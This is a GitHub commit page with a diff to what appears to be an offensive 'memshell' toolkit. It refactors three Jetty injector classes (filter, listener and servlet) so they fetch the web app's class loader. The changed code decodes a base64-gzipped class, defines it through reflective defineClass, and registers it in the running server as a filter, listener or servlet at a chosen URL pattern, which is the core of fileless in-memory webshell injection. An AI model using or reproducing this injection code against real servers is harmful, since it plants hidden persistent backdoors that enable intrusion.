Skip to content

Commit 125d2ca

Browse files
committed
refactor: use webAppClassLoader for JettyShell
1 parent aa3c044 commit 125d2ca

File tree

3 files changed

+36
-18
lines changed

3 files changed

+36
-18
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

Lines changed: 11 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -152,19 +152,24 @@ private List<Object> getContext() throws Exception {
152152
return contexts;
153153
}
154154

155+
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
156+
try {
157+
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
158+
} catch (Exception e) {
159+
return ((ClassLoader) getFieldValue(context, "_classLoader"));
160+
}
161+
}
162+
155163
@SuppressWarnings("all")
156164
private Object getShell(Object context) throws Exception {
157-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
158-
if (classLoader == null) {
159-
classLoader = context.getClass().getClassLoader();
160-
}
165+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
161166
try {
162-
return classLoader.loadClass(getClassName()).newInstance();
167+
return webAppClassLoader.loadClass(getClassName()).newInstance();
163168
} catch (Exception e) {
164169
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
165170
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
166171
defineClass.setAccessible(true);
167-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
172+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
168173
return clazz.newInstance();
169174
}
170175
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java

Lines changed: 11 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -74,19 +74,24 @@ private List<Object> getContext() throws Exception {
7474
return contexts;
7575
}
7676

77+
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
78+
try {
79+
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
80+
} catch (Exception e) {
81+
return ((ClassLoader) getFieldValue(context, "_classLoader"));
82+
}
83+
}
84+
7785
@SuppressWarnings("all")
7886
private Object getShell(Object context) throws Exception {
79-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
80-
if (classLoader == null) {
81-
classLoader = context.getClass().getClassLoader();
82-
}
87+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
8388
try {
84-
return classLoader.loadClass(getClassName()).newInstance();
89+
return webAppClassLoader.loadClass(getClassName()).newInstance();
8590
} catch (Exception e) {
8691
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
8792
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
8893
defineClass.setAccessible(true);
89-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
94+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
9095
return clazz.newInstance();
9196
}
9297
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

Lines changed: 14 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -81,16 +81,24 @@ private List<Object> getContext() throws Exception {
8181
return contexts;
8282
}
8383

84+
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
85+
try {
86+
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
87+
} catch (Exception e) {
88+
return ((ClassLoader) getFieldValue(context, "_classLoader"));
89+
}
90+
}
91+
8492
@SuppressWarnings("all")
8593
private Object getShell(Object context) throws Exception {
86-
ClassLoader classLoader = context.getClass().getClassLoader();
94+
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
8795
try {
88-
return classLoader.loadClass(getClassName()).newInstance();
96+
return webAppClassLoader.loadClass(getClassName()).newInstance();
8997
} catch (Exception e) {
9098
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
9199
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
92100
defineClass.setAccessible(true);
93-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
101+
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
94102
return clazz.newInstance();
95103
}
96104
}
@@ -103,7 +111,6 @@ public void inject(Object context, Object servlet) throws Exception {
103111
return;
104112
}
105113

106-
ClassLoader classLoader = context.getClass().getClassLoader();
107114

108115
String[] classNames = new String[]{
109116
"org.eclipse.jetty.servlet.ServletHolder",
@@ -114,10 +121,11 @@ public void inject(Object context, Object servlet) throws Exception {
114121
};
115122

116123
Class<?> servletHolderClass = null;
124+
ClassLoader contextClassLoader = context.getClass().getClassLoader();
117125

118126
for (String className : classNames) {
119127
try {
120-
servletHolderClass = context.getClass().getClassLoader().loadClass(className);
128+
servletHolderClass = contextClassLoader.loadClass(className);
121129
} catch (ClassNotFoundException ignored) {
122130
}
123131
}
@@ -129,7 +137,7 @@ public void inject(Object context, Object servlet) throws Exception {
129137
Constructor<?> servletHolderConstructor = servletHolderClass.getDeclaredConstructor();
130138
servletHolderConstructor.setAccessible(true);
131139
Object servletHolder = servletHolderConstructor.newInstance();
132-
invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(classLoader)}, new Object[]{servlet});
140+
invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(contextClassLoader)}, new Object[]{servlet});
133141
invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
134142
invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder});
135143
invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()});

0 commit comments

Comments
 (0)